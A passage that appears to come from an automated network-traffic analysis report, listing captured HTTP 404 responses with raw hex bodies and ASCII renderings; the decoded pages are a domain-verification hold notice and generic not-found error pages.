d4 d8 3b ac 9f 84 1f 5a b8 f0 04 68 f2 8b b3 3c 27 73 73 b1 d9 86 75 1d db d8 13 9a 1b 57 96 25 5f 60 14 7e 88 c1 72 d1 4c 11 fa 3a 51 56 7b ff 26 01 58 cc b5 be e7 79 e9 1d 93 cd 6c 6a ca ea e7 75 ae 14 40 79 c1 cf 1d 8b da 4a 60 ab d6 73 41 60 b1 f6 2b 51 ef ae ab e7 d6 7f ea 07 31 da 86 40 6b 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 1c5S@)RH$niFJlT!Oe\%3;t?4jOg5rnaIQ8eXz9qXs+^(vpR~iqeGx[0"$bSn-^yw[%EaycG3&Yq`b:U!\+OtYf+%zL=Ybf,Q2]{5DI)C77sn6-QrF'i(ZfflWn;Zh<'ssuW%_`~rL:QV{&Xylju@yJ`sA`+Q1@k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 25 Nov 2024 08:40:41 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeETag: W/"5d07e7ed-36b"Content-Encoding: gzipData Raw: 31 63 35 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b5 53 cd 8e d3 40 0c be e7 29 cc 9e b7 1d 10 e2 52 86 48 ab c2 a1 07 16 84 2a 24 8e 6e c6 69 46 4a c6 c1 e3 6c 54 21 de 1d 4f d2 65 81 0b 5c c8 25 33 8e ed ef c7 8e 7f f6 f6 c3 fe f8 e5 e3 3b e8 74 e8 eb ca 3f be 08 83 dd 34 6a 4f f5 67 92 d8 c6 06 35 72 02 6e 61 cf 49 b1 51 38 a4 96 65 58 c2 de ad a9 95 cf 7a b1 92 0a ec 39 71 b8 c0 b7 e5 58 ae 73 0c da ed e0 e5 2b 1a 5e ff 0c 0e 28 e7 98 76 f0 1c 70 52 7e 8a b7 86 b1 69 71 88 fd 65 07 47 ec 78 c0 5b 30 22 01 93 1d ee 24 62 7f 0b 19 53 de e4 c2 6e 2d fc 5e 79 77 c5 f7 ae 5b 25 14 12 45 d7 8b 7f 93 61 79 95 1f eb 63 47 10 0c 33 26 88 19 94 86 91 05 c5 c8 80 59 d0 71 1f 60 a4 14 62 3a c3 c3 1f e6 a8 55 92 15 f6 80 21 08 e5 5c 1c 2b c1 4f 74 8e 59 05 93 02 66 2b 97 25 7a d8 df dd df 83 4c 3d 59 62 2a 0a ff 66 f5 d6 bb b1 ae 0a c9 f7 2c c6 92 d4 c0 1e 51 32 5d 7b 35 98 e0 44 d0 f2 94 02 a0 ee fc 49 9c 29 43 e8 84 da 37 37 9d ea b8 73 6e 9e e7 ad 0d 36 a5 2d cb d9 51 72 46 98 27 69 28 bb 86 87 b1 8f 98 1a 5a 8f 66 85 66 fb be 8a 90 92 b0 6c c1 e6 57 03 6e ea ff d4 d8 3b ac 9f 84 1f 5a b8 f0 04 68 f2 8b b3 3c 27 73 73 b1 d9 86 75 1d db d8 13 9a 1b 57 96 25 5f 60 14 7e 88 c1 72 d1 4c 11 fa 3a 51 56 7b ff 26 01 58 cc b5 be e7 79 e9 1d 93 cd 6c 6a ca ea e7 75 ae 14 40 79 c1 cf 1d 8b da 4a 60 ab d6 73 41 60 b1 f6 2b 51 ef ae ab e7 d6 7f ea 07 31 da 86 40 6b 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 1c5S@)RH$niFJlT!Oe\%3;t?4jOg5rnaIQ8eXz9qXs+^(vpR~iqeGx[0"$bSn-^yw[%EaycG3&Yq`b:U!\+OtYf+%zL=Ybf,Q2]{5DI)C77sn6-QrF'i(ZfflWn;Zh<'ssuW%_`~rL:QV{&Xylju@yJ`sA`+Q1@k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 25 Nov 2024 09:04:31 GMTContent-Type: text/htmlContent-Length: 875Connection: closeETag: "5d07e874-36b"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 56 65 72 69 66 69 63 61 74 69 6f 6e 20 6f 66 20 43 6f 6e 74 61 63 74 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 56 65 72 69 66 69 63 61 74 69 6f 6e 20 6f 66 20 43 6f 6e 74 61 63 74 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 6d 61 69 6e 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 6f 6e 20 68 6f 6c 64 20 70 65 6e 64 69 6e 67 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 52 65 67 69 73 74 72 61 6e 74 20 61 73 20 70 65 72 20 74 68 65 20 49 43 41 4e 4e 20 72 75 6c 65 73 20 6f 6e 20 56 65 72 69 66 69 63 61 74 69 6f 6e 20 6f 66 20 43 6f 6e 74 61 63 74 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 70 3e 0a 0a 3c 70 3e 4d 6f 72 65 20 64 65 74 61 69 6c 73 20 6f 66 20 74 68 65 73 65 20 72 75 6c 65 73 20 63 61 6e 20 62 65 20 66 6f 75 6e 64 20 61 74 3a 3c 62 72 2f 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 69 63 61 6e 6e 2e 6f 72 67 2f 65 6e 2f 72 65 73 6f 75 72 63 65 73 2f 63 6f 6d 70 6c 69 61 6e 63 65 2f 63 6f 6d 70 6c 61 69 6e 74 73 2f 72 65 67 69 73 74 72 61 72 73 2f 63 6f 6e 74 61 63 74 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 22 3e 68 74 74 70 3a 2f 2f 77 77 77 2e 69 63 61 6e 6e 2e 6f 72 67 2f 65 6e 2f 72 65 73 6f 75 72 63 65 73 2f 63 6f 6d 70 6c 69 61 6e 63 65 2f 63 6f 6d 70 6c 61 69 6e 74 73 2f 72 65 67 69 73 74 72 61 72 73 2f 63 6f 6e 74 61 63 74 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 3c 2f 61 3e 2e 3c 2f 70 3e 0a 0a 3c 70 3e 49 66 20 79 6f 75 20 61 72 65 20 74 68 65 20 6f 77 6e 65 72 20 6f 66 20 74 68 69 73 20 64 6f 6d 61 69 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 70 72 6f 76 69 64 65 72 20 61 6e 64 20 72 65 71 75 65 73 74 20 72 65 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 20 6f 72 20 66 6f 6c 6c 6f 77 20 74 68 65 20 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 65 6d 61 69 6c 65 64 20 74 6f 20 79 6f 75 20 73 68 6f 72 74 6c 79 20 61 66 74 65 72 20 79 6f 75 72 20 6f 72 64 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html><head><title>Verification of Contact Information</title><style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 08:43:49 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Thu, 29 Aug 2024 18:03:22 GMTcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=81xz05wKBT8Sl3SDWGNOdJn3MEcAMR0YwyOAfEgaqQbqFjqufv7zUcOmtkAQzo%2B3h9ExqowD0uIZFUHzVD7ktSeil5IOY5T5TcMPgX3intnXJq34sAcETHA5a2PakdwPW2Q3cTmxqjKO"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e805a738b624243-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2309&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=798&delivery_rate=0&cwnd=191&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 63 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 54 df 6f d3 30 10 7e df 5f 71 64 02 81 b4 d4 4d bb 31 9a a4 91 46 bb 89 49 03 26 56 04 7b f4 92 6b 6c 48 ec 60 5f d3 86 89 ff 1d 39 c9 da 4e fc 7a c1 79 b1 ef be fb be 3b fb 2e f1 93 f9 fb d9 e2 f6 fa 1c 04 95 05 5c 7f 7c 7d 75 39 03 cf 67 ec d3 78 c6 d8 7c 31 87 cf 6f 16 6f af 20 18 0c e1 86 8c 4c 89 b1 f3 77 1e 78 82 a8 0a 19 5b af d7 83 f5 78 a0 4d ce 16 1f d8 c6 b1 04 2e ac df fa b6 8d 19 64 94 79 c9 41 dc 8a 6c ca 42 d9 e9 6f 08 82 c9 64 d2 c5 79 0e 14 16 5c e5 53 0f 95 07 db 5d 12 0b e4 59 72 00 00 10 93 a4 02 93 e3 e1 31 3c 2b 33 6e 45 04 ef 34 c1 85 5e a9 2c 66 9d b3 03 96 48 1c 9c 9e 8f df 56 b2 9e 7a 33 ad 08 15 f9 8b a6 42 0f d2 ee 34 f5 08 37 c4 9c 7e 04 a9 e0 c6 22 4d 3f 2e 2e fc 57 1e db 27 52 bc c4 a9 97 a1 4d 8d ac 48 6a b5 c7 70 a3 8d 69 8e a0 e2 39 82 d2 04 4b 97 cc 36 dc 52 53 20 50 53 61 af 95 5a eb 75 3e b7 ee 74 d6 c0 fd 52 2b f2 ad fc 8e 61 70 5c 6d 22 48 75 a1 4d 78 78 da ae 08 5a f7 92 97 b2 68 42 6e 24 2f 22 70 54 3e 2f 64 ae c2 14 15 a1 89 7e 6c 39 45 f0 88 f1 d5 70 8f 72 32 39 3b 3d bb 88 a0 e4 26 97 2a 84 d3 61 b5 81 a1 fb f6 09 46 70 df e1 e1 70 7e fe 72 76 32 7f 9c 03 f4 49 ec 44 60 d4 8a b4 86 35 Data Ascii: 2c8To0~_qdM1FI&V{klH`_9Nzy;.\\|}u9gx\|1oo Lwx[xM.dyAlBody\S]Yr1<+3nE4^,fHVz3B47~"M?..W'RMHjpi9K6RS PSaZu>tR+ap\m"HuMxxZhBn$/"pT>/d~l9Epr29;=&*aFpp~rv2ID`5
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 08:43:52 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Thu, 29 Aug 2024 18:03:22 GMTcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FbCixQaEzHN9xIhIJBUogLDHdf4H77tAXBf%2BB0ouOOe%2BwsDDZmd5glId0gl9hG6i%2FEg1vSZsC5sssPf3emtV3r%2F6xSzPKAzaJPcL73LHjT%2Bvitkzeooq4f%2BU7U1P6yPgmYUpPT713ZSu"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e805a8479ee42c2-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2062&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=818&delivery_rate=0&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 64 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 54 df 6f d3 30 10 7e df 5f 71 64 02 81 b4 d4 4d bb 31 9a a4 91 46 bb 89 49 03 26 56 04 7b f4 92 6b 6c 48 ec 60 5f d3 86 89 ff 1d 39 c9 da 4e fc 7a c1 79 b1 ef be fb be 3b fb 2e f1 93 f9 fb d9 e2 f6 fa 1c 04 95 05 5c 7f 7c 7d 75 39 03 cf 67 ec d3 78 c6 d8 7c 31 87 cf 6f 16 6f af 20 18 0c e1 86 8c 4c 89 b1 f3 77 1e 78 82 a8 0a 19 5b af d7 83 f5 78 a0 4d ce 16 1f d8 c6 b1 04 2e ac df fa b6 8d 19 64 94 79 c9 41 dc 8a 6c ca 42 d9 e9 6f 08 82 c9 64 d2 c5 79 0e 14 16 5c e5 53 0f 95 07 db 5d 12 0b e4 59 72 00 00 10 93 a4 02 93 e3 e1 31 3c 2b 33 6e 45 04 ef 34 c1 85 5e a9 2c 66 9d b3 03 96 48 1c 9c 9e 8f df 56 b2 9e 7a 33 ad 08 15 f9 8b a6 42 0f d2 ee 34 f5 08 37 c4 9c 7e 04 a9 e0 c6 22 4d 3f 2e 2e fc 57 1e db 27 52 bc c4 a9 97 a1 4d 8d ac 48 6a b5 c7 70 a3 8d 69 8e a0 e2 39 82 d2 04 4b 97 cc 36 dc 52 53 20 50 53 61 af 95 5a eb 75 3e b7 ee 74 d6 c0 fd 52 2b f2 ad fc 8e 61 70 5c 6d 22 48 75 a1 4d 78 78 da ae 08 5a f7 92 97 b2 68 42 6e 24 2f 22 70 54 3e 2f 64 ae c2 14 15 a1 89 7e 6c 39 45 f0 88 f1 d5 70 8f 72 32 39 3b 3d bb 88 a0 e4 26 97 2a 84 d3 61 b5 81 a1 fb f6 09 46 70 df e1 e1 70 7e fe 72 76 32 7f Data Ascii: 2d3To0~_qdM1FI&V{klH`_9Nzy;.\\|}u9gx\|1oo Lwx[xM.dyAlBody\S]Yr1<+3nE4^,fHVz3B47~"M?..W'RMHjpi9K6RS PSaZu>tR+ap\m"HuMxxZhBn$/"pT>/d~l9Epr29;=&*aFpp~rv2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 08:43:55 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Thu, 29 Aug 2024 18:03:22 GMTcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=140qK32yVEVwPJUhwoLOY23A3fzoHPiIF9DPqyWJedvfp9m8QPrs%2FKnVLKlX%2BYOGDw4Roh2XWPJVzozek8wk5MegsrOCnh%2FwIfNkc7PmXeZ4AfzKVM6mQFQWXLx2bPia7Q3z2s3lmoUx"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e805a94e8a7c33d-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1693&sent=5&recv=11&lost=0&retrans=0&sent_bytes=0&recv_bytes=10900&delivery_rate=0&cwnd=136&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 63 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 54 df 6f d3 30 10 7e df 5f 71 64 02 81 b4 d4 4d bb 31 9a a4 91 46 bb 89 49 03 26 56 04 7b f4 92 6b 6c 48 ec 60 5f d3 86 89 ff 1d 39 c9 da 4e fc 7a c1 79 b1 ef be fb be 3b fb 2e f1 93 f9 fb d9 e2 f6 fa 1c 04 95 05 5c 7f 7c 7d 75 39 03 cf 67 ec d3 78 c6 d8 7c 31 87 cf 6f 16 6f af 20 18 0c e1 86 8c 4c 89 b1 f3 77 1e 78 82 a8 0a 19 5b af d7 83 f5 78 a0 4d ce 16 1f d8 c6 b1 04 2e ac df fa b6 8d 19 64 94 79 c9 41 dc 8a 6c ca 42 d9 e9 6f 08 82 c9 64 d2 c5 79 0e 14 16 5c e5 53 0f 95 07 db 5d 12 0b e4 59 72 00 00 10 93 a4 02 93 e3 e1 31 3c 2b 33 6e 45 04 ef 34 c1 85 5e a9 2c 66 9d b3 03 96 48 1c 9c 9e 8f df 56 b2 9e 7a 33 ad 08 15 f9 8b a6 42 0f d2 ee 34 f5 08 37 c4 9c 7e 04 a9 e0 c6 22 4d 3f 2e 2e fc 57 1e db 27 52 bc c4 a9 97 a1 4d 8d ac 48 6a b5 c7 70 a3 8d 69 8e a0 e2 39 82 d2 04 4b 97 cc 36 dc 52 53 20 50 53 61 af 95 5a eb 75 3e b7 ee 74 d6 c0 fd 52 2b f2 ad fc 8e 61 70 5c 6d 22 48 75 a1 4d 78 78 da ae 08 5a f7 92 97 b2 68 42 6e 24 2f 22 70 54 3e 2f 64 ae c2 14 15 a1 89 7e 6c 39 45 f0 88 f1 d5 70 8f 72 32 39 3b 3d bb 88 a0 e4 26 97 2a 84 d3 61 b5 81 a1 fb f6 09 46 70 df e1 e1 70 7e fe 72 76 32 7f 9c 03 f4 49 ec Data Ascii: 2c8To0~_qdM1FI&V{klH`_9Nzy;.\\|}u9gx\|1oo Lwx[xM.dyAlBody\S]Yr1<+3nE4^,fHVz3B47~"M?..W'RMHjpi9K6RS PSaZu>tR+ap\m"HuMxxZhBn$/"pT>/d~l9Epr29;=&*aFpp~rv2I
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 08:43:57 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Thu, 29 Aug 2024 18:03:22 GMTcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=syP%2F37s08wI9AxVRDoekntVfX73U30%2B44oBKnIB%2BQQF0Z1t%2BvLvzERA9Nskmksgz00azIRYOjYUancTjwINhbTKHr9EP3yRXkAzQ0Nlr6ahNkDIZCJ3YY93RgnHFtmejCWhmBXOzEjhr"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e805aa5aec40f45-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1665&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=522&delivery_rate=0&cwnd=155&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 35 38 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 26 6d 64 61 73 68 3b 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 6f 72 72 79 2c 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 22 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 66 6f 6e 74 2d 73 69 7a Data Ascii: 583<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <title>404 — Not Found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <meta name="description" content="Sorry, page not found"/> <style type="text/css"> body {font-siz
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 08:44:07 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DXZ5J92v8v4474zAStMVZH2IJAccT%2FyO1Zf05NZguCl4aoCPvv6%2Bpz2rhi3wM6pT0ldwT4TsqWYNLH097ooXBGFt6XZ0DiKzAhWRIWawfSonAhZKl3xDxPxi0d4%2F%2FpDKY1orWoVzJQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e805ae21e7c4241-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2110&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=812&delivery_rate=0&cwnd=214&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 66 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 54 90 c1 6e c2 30 10 44 ef f9 8a 29 e7 96 85 8a a3 65 a9 25 41 20 a5 14 55 e1 d0 a3 c1 5b 6c 29 d8 d4 d9 14 e5 ef ab 98 4a 6d af b3 6f 76 67 56 dd 95 af cb e6 7d 57 61 dd bc d4 d8 ed 9f eb cd 12 93 07 a2 4d d5 ac 88 ca a6 bc 4d 1e a7 33 a2 6a 3b d1 85 72 72 6e b5 72 6c ac 2e 94 78 69 59 2f 66 0b 6c a3 60 15 fb 60 15 dd c4 42 51 86 d4 21 da 61 f4 cd f5 1f c6 cd 75 a1 2e ba 71 8c c4 9f 3d 77 c2 16 fb b7 1a 57 d3 21 44 c1 c7 c8 21 06 88 f3 1d 3a 4e 5f 9c a6 8a 2e d9 f6 64 ad 17 1f 83 69 db e1 1e 06 ff 02 14 9c 52 4c 79 11 87 63 ec 83 70 62 8b ab f3 2d 43 d2 e0 c3 09 12 d1 77 0c 13 50 8d 70 19 8f fd 99 83 8c ba 33 c1 8e e0 6f b2 9f b3 94 8b 28 ca 0f f8 06 00 00 ff ff e3 02 00 59 3c e4 fe 3b 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f5Tn0D)e%A U[l)JmovgV}WaMM3j;rrnrl.xiY/fl``BQ!au.q=wW!D!:N_.diRLycpb-CwPp3o(Y<;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 08:44:10 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=noHmE0Cv4jk80YcMc7uOgWc4bUwJBpwRoRMRIYOI%2BLnxemZh84X7hk3E%2BDmvX0CCPhvXnmSWcq8OEjiyJc%2FcA8rtet30ng%2Fb4qqQA9IGssozlWYDfN1IsYuffRth6eEVF%2FuZ5yGmpw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e805af30d814205-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1588&sent=4&recv=11&lost=0&retrans=0&sent_bytes=0&recv_bytes=10894&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 66 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 54 90 c1 6e c2 30 10 44 ef f9 8a 29 e7 96 85 8a a3 65 a9 25 41 20 a5 14 55 e1 d0 a3 c1 5b 6c 29 d8 d4 d9 14 e5 ef ab 98 4a 6d af b3 6f 76 67 56 dd 95 af cb e6 7d 57 61 dd bc d4 d8 ed 9f eb cd 12 93 07 a2 4d d5 ac 88 ca a6 bc 4d 1e a7 33 a2 6a 3b d1 85 72 72 6e b5 72 6c ac 2e 94 78 69 59 2f 66 0b 6c a3 60 15 fb 60 15 dd c4 42 51 86 d4 21 da 61 f4 cd f5 1f c6 cd 75 a1 2e ba 71 8c c4 9f 3d 77 c2 16 fb b7 1a 57 d3 21 44 c1 c7 c8 21 06 88 f3 1d 3a 4e 5f 9c a6 8a 2e d9 f6 64 ad 17 1f 83 69 db e1 1e 06 ff 02 14 9c 52 4c 79 11 87 63 ec 83 70 62 8b ab f3 2d 43 d2 e0 c3 09 12 d1 77 0c 13 50 8d 70 19 8f fd 99 83 8c ba 33 c1 8e e0 6f b2 9f b3 94 8b 28 ca 0f f8 06 00 00 ff ff e3 02 00 59 3c e4 fe 3b 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f5Tn0D)e%A U[l)JmovgV}WaMM3j;rrnrl.xiY/fl``BQ!au.q=wW!D!:N_.diRLycpb-CwPp3o(Y<;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 08:44:12 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lyCgFL5MoDxFe%2F2B8Ls9%2B5Be5Xlj5hgtTh5W1L8Wzc5O4EhuipdKJe1hSMQW%2B6MFAFHWMy4HHVJ0z5PWSHyjU5XZIdSP0Iel3Z7UZ5l8UrwJWgs5PjjG2vBuK%2BUlCUl5gaFBl5CbAg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e805b03ed547c6c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1928&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=520&delivery_rate=0&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>0
